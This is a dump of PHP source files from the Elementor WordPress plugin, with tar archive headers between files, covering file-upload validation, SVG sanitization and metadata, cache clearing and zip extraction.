save_base64_to_tmp_file( $file, $allowed_file_extensions = null ) { if ( empty( $file['fileName'] ) || empty( $file['fileData'] ) ) { return new \WP_Error( 'file_error', self::INVALID_FILE_CONTENT ); } $file_extension = pathinfo( $file['fileName'], PATHINFO_EXTENSION ); $is_file_type_allowed = $this->is_file_type_allowed( $file_extension, $allowed_file_extensions ); if ( is_wp_error( $is_file_type_allowed ) ) { return $is_file_type_allowed; } $file_content = base64_decode( $file['fileData'] ); // phpcs:ignore // If the decode fails if ( ! $file_content ) { return new \WP_Error( 'file_error', self::INVALID_FILE_CONTENT ); } $temp_filename = $this->create_temp_file( $file_content, $file['fileName'] ); if ( is_wp_error( $temp_filename ) ) { return $temp_filename; } return [ // the original uploaded file name 'name' => $file['fileName'], // The path to the temporary file 'tmp_name' => $temp_filename, ]; } /** * Validate File * * @since 3.3.0 * @access private * * @param array $file * @param array $file_extensions Optional * @return bool|\WP_Error */ private function validate_file( array $file, $file_extensions = [] ) { $uploaded_file_name = isset( $file['name'] ) ? $file['name'] : $file['tmp_name']; $file_extension = pathinfo( $uploaded_file_name, PATHINFO_EXTENSION ); if ( ! $this->is_elementor_wp_media_upload() ) { $is_file_type_allowed = $this->is_file_type_allowed( $file_extension, $file_extensions ); if ( is_wp_error( $is_file_type_allowed ) ) { return $is_file_type_allowed; } } $file_type_handler = $this->get_file_type_handlers( $file_extension ); // If Elementor does not have a handler for this file type, don't block it. if ( ! $file_type_handler ) { return true; } // If there is a File Type Handler for the uploaded file, it means it is a non-standard file type. In this case, // we check if unfiltered file uploads are enabled or not before allowing it. if ( ! self::are_unfiltered_uploads_enabled() ) { $error = 'json' === $file_extension ? esc_html__( 'You do not have permission to upload JSON files.', 'elementor' ) : esc_html__( 'This file is not allowed for security reasons.', 'elementor' ); return new \WP_Error( Exceptions::FORBIDDEN, $error ); } // Here is each file type handler's chance to run its own specific validations return $file_type_handler->validate_file( $file ); } /** * Is File Type Allowed * * Checks whether the passed file extension is allowed for upload. * * @since 3.5.0 * @access private * * @param $file_extension * @param $filtered_file_extensions * @return bool|\WP_Error */ private function is_file_type_allowed( $file_extension, $filtered_file_extensions ) { $allowed_file_extensions = $this->get_allowed_file_extensions(); if ( $filtered_file_extensions ) { $allowed_file_extensions = array_intersect( $allowed_file_extensions, $filtered_file_extensions ); } $is_allowed = false; // Check if the file type (extension) is in the allowed extensions list. If it is a non-standard file type (not // enabled by default in WordPress) and unfiltered file uploads are not enabled, it will not be in the allowed // file extensions list. foreach ( $allowed_file_extensions as $allowed_extension ) { if ( preg_match( '/' . $allowed_extension . '/', $file_extension ) ) { $is_allowed = true; break; } } if ( ! $is_allowed ) { $is_allowed = new \WP_Error( Exceptions::FORBIDDEN, 'Uploading this file type is not allowed.' ); } /** * Elementor File Type Allowed * * Allows setting file types * * @since 3.5.0 * * @param bool|\WP_Error $is_allowed */ return apply_filters( 'elementor/files/allow-file-type/' . $file_extension, $is_allowed ); } /** * Remove Directory with Files * * @since 3.3.0 * @access private * * @param string $dir * @return bool */ private function remove_directory_with_files( $dir ) { $dir_iterator = new \RecursiveDirectoryIterator( $dir, \RecursiveDirectoryIterator::SKIP_DOTS ); foreach ( new \RecursiveIteratorIterator( $dir_iterator, \RecursiveIteratorIterator::CHILD_FIRST ) as $name => $item ) { if ( is_dir( $name ) ) { rmdir( $name ); } elseif ( is_file( $name ) ) { unlink( $name ); } } return rmdir( $dir ); } /** * Get Allowed File Extensions * * Retrieve an array containing the list of file extensions allowed for upload. * * @since 3.3.0 * @access private * * @return array file extension/s */ private function get_allowed_file_extensions() { if ( ! $this->allowed_file_extensions ) { $this->allowed_file_extensions = array_keys( get_allowed_mime_types() ); foreach ( $this->get_file_type_handlers() as $file_type => $handler ) { if ( $handler->is_upload_allowed() ) { // Add the file extension to the allowed extensions list only if unfiltered files upload is enabled. $this->add_file_extension_to_allowed_extensions_list( $file_type ); } } } return $this->allowed_file_extensions; } public function __construct() { $this->register_file_types(); add_filter( 'upload_mimes', [ $this, 'support_unfiltered_elementor_file_uploads' ] ); add_filter( 'wp_handle_upload_prefilter', [ $this, 'handle_elementor_wp_media_upload' ] ); add_filter( 'wp_check_filetype_and_ext', [ $this, 'check_filetype_and_ext' ], 10, 4 ); // Ajax. add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); } } manager.php000064400000014220151564121270006672 0ustar00register_actions(); } public function get( $class, $args ) { $id = $class . '-' . wp_json_encode( $args ); if ( ! isset( $this->files[ $id ] ) ) { // Create an instance from dynamic args length. $reflection_class = new \ReflectionClass( $class ); $this->files[ $id ] = $reflection_class->newInstanceArgs( $args ); } return $this->files[ $id ]; } /** * On post delete. * * Delete post CSS immediately after a post is deleted from the database. * * Fired by `deleted_post` action. * * @since 1.2.0 * @access public * * @param string $post_id Post ID. */ public function on_delete_post( $post_id ) { if ( ! Utils::is_post_support( $post_id ) ) { return; } $css_file = Post_CSS::create( $post_id ); $css_file->delete(); } /** * On export post meta. * * When exporting data using WXR, skip post CSS file meta key. This way the * export won't contain the post CSS file data used by Elementor. * * Fired by `wxr_export_skip_postmeta` filter. * * @since 1.2.0 * @access public * * @param bool $skip Whether to skip the current post meta. * @param string $meta_key Current meta key. * * @return bool Whether to skip the post CSS meta. */ public function on_export_post_meta( $skip, $meta_key ) { if ( Post_CSS::META_KEY === $meta_key ) { $skip = true; } return $skip; } /** * Clear cache. * * Delete all meta containing files data. And delete the actual * files from the upload directory. * * @since 1.2.0 * @access public */ public function clear_cache() { // Delete files. $path = Base::get_base_uploads_dir() . Base::DEFAULT_FILES_DIR . '*'; foreach ( glob( $path ) as $file_path ) { unlink( $file_path ); } delete_post_meta_by_key( Post_CSS::META_KEY ); delete_post_meta_by_key( Document_Base::CACHE_META_KEY ); delete_post_meta_by_key( Assets::ASSETS_META_KEY ); delete_option( Frontend::META_KEY ); $this->reset_assets_data(); /** * Elementor clear files. * * Fires after Elementor clears files * * @since 2.1.0 */ do_action( 'elementor/core/files/clear_cache' ); } public function clear_custom_image_sizes() { if ( ! defined( 'BFITHUMB_UPLOAD_DIR' ) ) { return; } $upload_info = wp_upload_dir(); $upload_dir = $upload_info['basedir'] . '/' . BFITHUMB_UPLOAD_DIR; $path = $upload_dir . '/*'; foreach ( glob( $path ) as $file_path ) { unlink( $file_path ); } } /** * Register Ajax Actions * * Deprecated - use the Uploads Manager instead. * * @deprecated 3.5.0 * * @param Ajax $ajax */ public function register_ajax_actions( Ajax $ajax ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); Plugin::$instance->uploads_manager->register_ajax_actions( $ajax ); } /** * Ajax Unfiltered Files Upload * * Deprecated - use the Uploads Manager instead. * * @deprecated 3.5.0 */ public function ajax_unfiltered_files_upload() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); Plugin::$instance->uploads_manager->enable_unfiltered_files_upload(); } /** * Register actions. * * Register filters and actions for the files manager. * * @since 1.2.0 * @access private */ private function register_actions() { add_action( 'deleted_post', [ $this, 'on_delete_post' ] ); add_filter( 'wxr_export_skip_postmeta', [ $this, 'on_export_post_meta' ], 10, 2 ); add_action( 'update_option_home', function () { $this->reset_assets_data(); } ); add_action( 'update_option_siteurl', function () { $this->reset_assets_data(); } ); add_action( 'rest_api_init', [ $this, 'register_endpoints' ] ); } /** * Reset Assets Data. * * Reset the page assets data. * * @since 3.3.0 * @access private */ private function reset_assets_data() { delete_option( Page_Assets_Data_Manager::ASSETS_DATA_KEY ); } /** * Generate CSS. * * Generates CSS for all posts built with Elementor. * * @since 3.25.0 * @access public */ public function generate_css() { $batch_size = apply_filters( 'elementor/core/files/generate_css/batch_size', 100 ); $processed_posts = 0; while ( true ) { $args = [ 'post_type' => get_post_types(), 'posts_per_page' => $batch_size, 'meta_query' => [ [ 'key' => Document_Base::BUILT_WITH_ELEMENTOR_META_KEY, 'compare' => 'EXISTS', ], ], 'offset' => $processed_posts, 'fields' => 'ids', ]; $query = new \WP_Query( $args ); if ( empty( $query->posts ) ) { break; } foreach ( $query->posts as $post_id ) { $document = Plugin::$instance->documents->get_doc_for_frontend( $post_id ); if ( $document ) { $css_file = Post_CSS::create( $post_id ); $css_file->update(); } } $processed_posts += $batch_size; } /** * Elementor Generate CSS files. * * Fires after Elementor generates new CSS files * * @since 3.25.0 */ do_action( 'elementor/core/files/after_generate_css' ); } public function register_endpoints() { register_rest_route( 'elementor/v1', '/cache', [ 'methods' => \WP_REST_Server::DELETABLE, 'callback' => [ $this, 'clear_cache' ], 'permission_callback' => function() { return current_user_can( 'manage_options' ); }, ] ); } } assets/json/json-handler.php000064400000001302151564121270012114 0ustar00uploads_manager->get_file_type_handlers( 'svg' );` */ class Json_Handler extends Files_Upload_Handler { /** * @deprecated 3.5.0 */ public static function get_name() { return 'json-handler'; } /** * @deprecated 3.5.0 */ public function get_mime_type() { return 'application/json'; } /** * @deprecated 3.5.0 */ public function get_file_type() { return 'json'; } } assets/manager.php000064400000002335151564121270010200 0ustar00register_asset_types(); /** * Elementor files assets registered. * * Fires after Elementor registers assets types * * @since 2.6.0 */ do_action( 'elementor/core/files/assets/assets_registered', $this ); } public function get_asset( $name ) { return isset( $this->asset_types[ $name ] ) ? $this->asset_types[ $name ] : false; } /** * Add Asset * * @param $instance */ public function add_asset( $instance ) { $this->asset_types[ $instance::get_name() ] = $instance; } /** * Register Asset Types * * Registers Elementor Asset Types */ private function register_asset_types() { $this->add_asset( new Svg_Handler() ); } } assets/svg/svg-handler.php000064400000015612151564121270011601 0ustar00uploads_manager->get_file_type_handlers( 'svg' );` */ class Svg_Handler extends Files_Upload_Handler { /** * Inline svg attachment meta key * * @deprecated 3.5.0 */ const META_KEY = '_elementor_inline_svg'; /** * @deprecated 3.5.0 */ const SCRIPT_REGEX = '/(?:\w+script|data):/xi'; /** * Attachment ID. * * Holds the current attachment ID. * * @deprecated 3.5.0 * * @var int */ private $attachment_id; /** * @deprecated 3.5.0 */ public static function get_name() { return 'svg-handler'; } /** * Get meta * * @deprecated 3.5.0 * * @return mixed */ protected function get_meta() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); return get_post_meta( $this->attachment_id, self::META_KEY, true ); } /** * Update meta * * @deprecated 3.5.0 * * @param $meta */ protected function update_meta( $meta ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); update_post_meta( $this->attachment_id, self::META_KEY, $meta ); } /** * Delete meta * * @deprecated 3.5.0 */ protected function delete_meta() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); delete_post_meta( $this->attachment_id, self::META_KEY ); } /** * Get mime type * * @deprecated 3.5.0 */ public function get_mime_type() { return 'image/svg+xml'; } /** * Get file type * * @deprecated 3.5.0 */ public function get_file_type() { return 'svg'; } /** * Delete meta cache * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->delete_meta_cache()` instead. */ public function delete_meta_cache() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->delete_meta_cache()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); $svg_handler->delete_meta_cache(); } /** * Get inline svg * * @deprecated 3.5.0 Use `Elementor\Core\Files\File_Types\Svg::get_inline_svg()` instead. * * @param $attachment_id * * @return bool|mixed|string */ public static function get_inline_svg( $attachment_id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Core\Files\File_Types\Svg::get_inline_svg()' ); return Svg::get_inline_svg( $attachment_id ); } /** * Sanitize svg * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->delete_meta_cache()->sanitize_svg()` instead. * * @param $filename * * @return bool */ public function sanitize_svg( $filename ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->delete_meta_cache()->sanitize_svg()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->sanitize_svg( $filename ); } /** * Sanitizer * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->sanitizer()` instead. * * @param $content * * @return bool|string */ public function sanitizer( $content ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->sanitizer()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->sanitizer( $content ); } /** * Prepare attachment for js * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->wp_prepare_attachment_for_js()` instead. * * @param $attachment_data * @param $attachment * @param $meta * * @return mixed */ public function wp_prepare_attachment_for_js( $attachment_data, $attachment, $meta ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->wp_prepare_attachment_for_js()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->wp_prepare_attachment_for_js( $attachment_data, $attachment, $meta ); } /** * Set attachment id * * @deprecated 3.5.0 * * @param $attachment_id * * @return int */ public function set_attachment_id( $attachment_id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); $this->attachment_id = $attachment_id; return $this->attachment_id; } /** * Get attachment id * * @deprecated 3.5.0 * * @return int */ public function get_attachment_id() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); return $this->attachment_id; } /** * Set svg meta data * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->set_svg_meta_data()` instead. * * @return mixed */ public function set_svg_meta_data( $data, $id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->set_svg_meta_data()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->set_svg_meta_data( $data, $id ); } /** * Handle upload prefilter * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()` instead. * * @param $file * * @return mixed */ public function handle_upload_prefilter( $file ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()' ); return Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload( $file ); } } assets/files-upload-handler.php000064400000010527151564121270012567 0ustar00uploads_manager->are_unfiltered_uploads_enabled()` instead. * * @return bool */ private function is_elementor_media_upload() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()' ); return Plugin::$instance->uploads_manager->is_elementor_media_upload(); } /** * Is Enabled * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()` instead. * * @return bool */ final public static function is_enabled() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()' ); return Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled(); } /** * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()` instead. */ final public function support_unfiltered_files_upload( $existing_mimes ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->support_unfiltered_file_uploads()' ); return Plugin::$instance->uploads_manager->support_unfiltered_elementor_file_uploads( $existing_mimes ); } /** * Handle_upload_prefilter * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()` instead. * * @param $file * * @return mixed */ public function handle_upload_prefilter( $file ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()' ); return Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload( $file ); } /** * Is_file_should_handled * * @deprecated 3.5.0 * * @param $file * * @return bool */ protected function is_file_should_handled( $file ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); $ext = pathinfo( $file['name'], PATHINFO_EXTENSION ); return $this->is_elementor_media_upload() && $this->get_file_type() === $ext; } /** * File_sanitizer_can_run * * @deprecated 3.5.0 Use `Elementor\Core\Files\File_Types\Svg::file_sanitizer_can_run()` instead. * * @return bool */ public static function file_sanitizer_can_run() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Core\Files\File_Types\Svg::file_sanitizer_can_run()' ); return Svg::file_sanitizer_can_run(); } /** * Check filetype and ext * * A workaround for upload validation which relies on a PHP extension (fileinfo) * with inconsistent reporting behaviour. * ref: https://core.trac.wordpress.org/ticket/39550 * ref: https://core.trac.wordpress.org/ticket/40175 * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->check_filetype_and_ext()` instead. * * @param $data * @param $file * @param $filename * @param $mimes * * @return mixed */ public function check_filetype_and_ext( $data, $file, $filename, $mimes ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->check_filetype_and_ext()' ); Plugin::$instance->uploads_manager->check_filetype_and_ext( $data, $file, $filename, $mimes ); } } file-types/base.php000064400000002503151564121270010254 0ustar00sanitize_file( $filename ); } /** * Validate File * * @since 3.3.0 * @access public * * @param $file * @return bool|\WP_Error */ public function validate_file( $file ) { if ( ! $this->sanitize_svg( $file['tmp_name'] ) ) { return new \WP_Error( Exceptions::FORBIDDEN, esc_html__( 'This file is not allowed for security reasons.', 'elementor' ) ); } return true; } /** * Sanitizer * * @since 3.5.0 * @access public * * @param $content * @return bool|string */ public function sanitizer( $content ) { return ( new SVG_Sanitizer() )->sanitize( $content ); } /** * WP Prepare Attachment For J * * Runs on the `wp_prepare_attachment_for_js` filter. * * @since 3.5.0 * @access public * * @param $attachment_data * @param $attachment * @param $meta * * @return mixed */ public function wp_prepare_attachment_for_js( $attachment_data, $attachment, $meta ) { if ( 'image' !== $attachment_data['type'] || 'svg+xml' !== $attachment_data['subtype'] || ! class_exists( 'SimpleXMLElement' ) ) { return $attachment_data; } $svg = self::get_inline_svg( $attachment->ID ); if ( ! $svg ) { return $attachment_data; } try { $svg = new \SimpleXMLElement( $svg ); } catch ( \Exception $e ) { return $attachment_data; } $src = $attachment_data['url']; $width = (int) $svg['width']; $height = (int) $svg['height']; // Media Gallery $attachment_data['image'] = compact( 'src', 'width', 'height' ); $attachment_data['thumb'] = compact( 'src', 'width', 'height' ); // Single Details of Image $attachment_data['sizes']['full'] = [ 'height' => $height, 'width' => $width, 'url' => $src, 'orientation' => $height > $width ? 'portrait' : 'landscape', ]; return $attachment_data; } /** * Set Svg Meta Data * * Adds dimensions metadata to uploaded SVG files, since WordPress doesn't do it. * * @since 3.5.0 * @access public * * @return mixed */ public function set_svg_meta_data( $data, $id ) { $attachment = get_post( $id ); // Filter makes sure that the post is an attachment. $mime_type = $attachment->post_mime_type; // If the attachment is an svg if ( 'image/svg+xml' === $mime_type ) { // If the svg metadata are empty or the width is empty or the height is empty. // then get the attributes from xml. if ( empty( $data ) || empty( $data['width'] ) || empty( $data['height'] ) ) { $attachment = wp_get_attachment_url( $id ); $xml = simplexml_load_file( $attachment ); if ( ! empty( $xml ) ) { $attr = $xml->attributes(); $view_box = explode( ' ', $attr->viewBox );// phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $data['width'] = isset( $attr->width ) && preg_match( '/\d+/', $attr->width, $value ) ? (int) $value[0] : ( 4 === count( $view_box ) ? (int) $view_box[2] : null ); $data['height'] = isset( $attr->height ) && preg_match( '/\d+/', $attr->height, $value ) ? (int) $value[0] : ( 4 === count( $view_box ) ? (int) $view_box[3] : null ); } } } return $data; } /** * Delete Meta Cache * * Deletes the Inline SVG post meta entry. * * @since 3.5.0 * @access public */ public function delete_meta_cache() { delete_post_meta_by_key( self::META_KEY ); } /** * File Sanitizer Can Run * * Checks if the classes required for the file sanitizer are in memory. * * @since 3.5.0 * @access public * @static * * @return bool */ public static function file_sanitizer_can_run() { return class_exists( 'DOMDocument' ) && class_exists( 'SimpleXMLElement' ); } /** * Get Inline SVG * * @since 3.5.0 * @access public * @static * * @param $attachment_id * @return bool|mixed|string */ public static function get_inline_svg( $attachment_id ) { $svg = get_post_meta( $attachment_id, self::META_KEY, true ); if ( ! empty( $svg ) ) { $valid_svg = ( new SVG_Sanitizer() )->sanitize( $svg ); return ( false === $valid_svg ) ? '' : $valid_svg; } $attachment_file = get_attached_file( $attachment_id ); if ( ! file_exists( $attachment_file ) ) { return ''; } $svg = Utils::file_get_contents( $attachment_file ); $valid_svg = ( new SVG_Sanitizer() )->sanitize( $svg ); if ( false === $valid_svg ) { return ''; } if ( ! empty( $valid_svg ) ) { update_post_meta( $attachment_id, self::META_KEY, $valid_svg ); } return $valid_svg; } public function __construct() { add_filter( 'wp_update_attachment_metadata', [ $this, 'set_svg_meta_data' ], 10, 2 ); add_filter( 'wp_prepare_attachment_for_js', [ $this, 'wp_prepare_attachment_for_js' ], 10, 3 ); add_action( 'elementor/core/files/clear_cache', [ $this, 'delete_meta_cache' ] ); } } file-types/json.php000064400000001040151564121270010306 0ustar00uploads_manager->create_unique_dir(); } $zip->open( $file_path ); // if an array of allowed file types is provided, get the filtered file list to extract. $allowed_files = $allowed_file_types ? $this->get_allowed_files( $zip, $allowed_file_types ) : null; $zip->extractTo( $extraction_directory, $allowed_files ); $zip->close(); return [ 'extraction_directory' => $extraction_directory, 'files' => $this->find_temp_files( $extraction_directory ), ]; } /** * Get Allowed Files * * Accepts a zipArchive instance and an array of allowed file types. Iterates over the zip archive's files and * checks if their extensions are in the list of allowed file types. Returns an array containing all valid files. * * @since 3.3.0 * * @param \ZipArchive $zip * @param array $allowed_file_types * @return array */ private function get_allowed_files( $zip, $allowed_file_types ) { $allowed_files = []; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase for ( $i = 0; $i < $zip->numFiles; $i++ ) { $filename = $zip->getNameIndex( $i ); $extension = pathinfo( $filename, PATHINFO_EXTENSION ); // Skip files with transversal paths. if ( strpos( $filename, '..' ) !== false ) { continue; } if ( in_array( $extension, $allowed_file_types, true ) ) { $allowed_files[] = $filename; } } return $allowed_files; } /** * Find temporary files. * * Recursively finds a list of temporary files from the extracted zip file. * * Example return data: * * [ * 0 => '/www/wp-content/uploads/elementor/tmp/5eb3a7a411d44/templates/block-2-col-marble-title.json', * 1 => '/www/wp-content/uploads/elementor/tmp/5eb3a7a411d44/templates/block-2-col-text-and-photo.json', * ] * * @since 2.9.8 * @access private * * @param string $temp_path - The temporary file path to scan for template files * * @return array An array of temporary files on the filesystem */ private function find_temp_files( $temp_path ) { $file_names = []; $possible_file_names = array_diff( scandir( $temp_path ), [ '.', '..' ] ); // Find nested files in the unzipped path. This happens for example when the user imports a Website Kit. foreach ( $possible_file_names as $possible_file_name ) { $full_possible_file_name = $temp_path . $possible_file_name; if ( is_dir( $full_possible_file_name ) ) { $file_names = array_merge( $file_names, $this->find_temp_files( $full_possible_file_name . '/' ) ); } else { $file_names[] = $full_possible_file_name; } } return $file_names; } }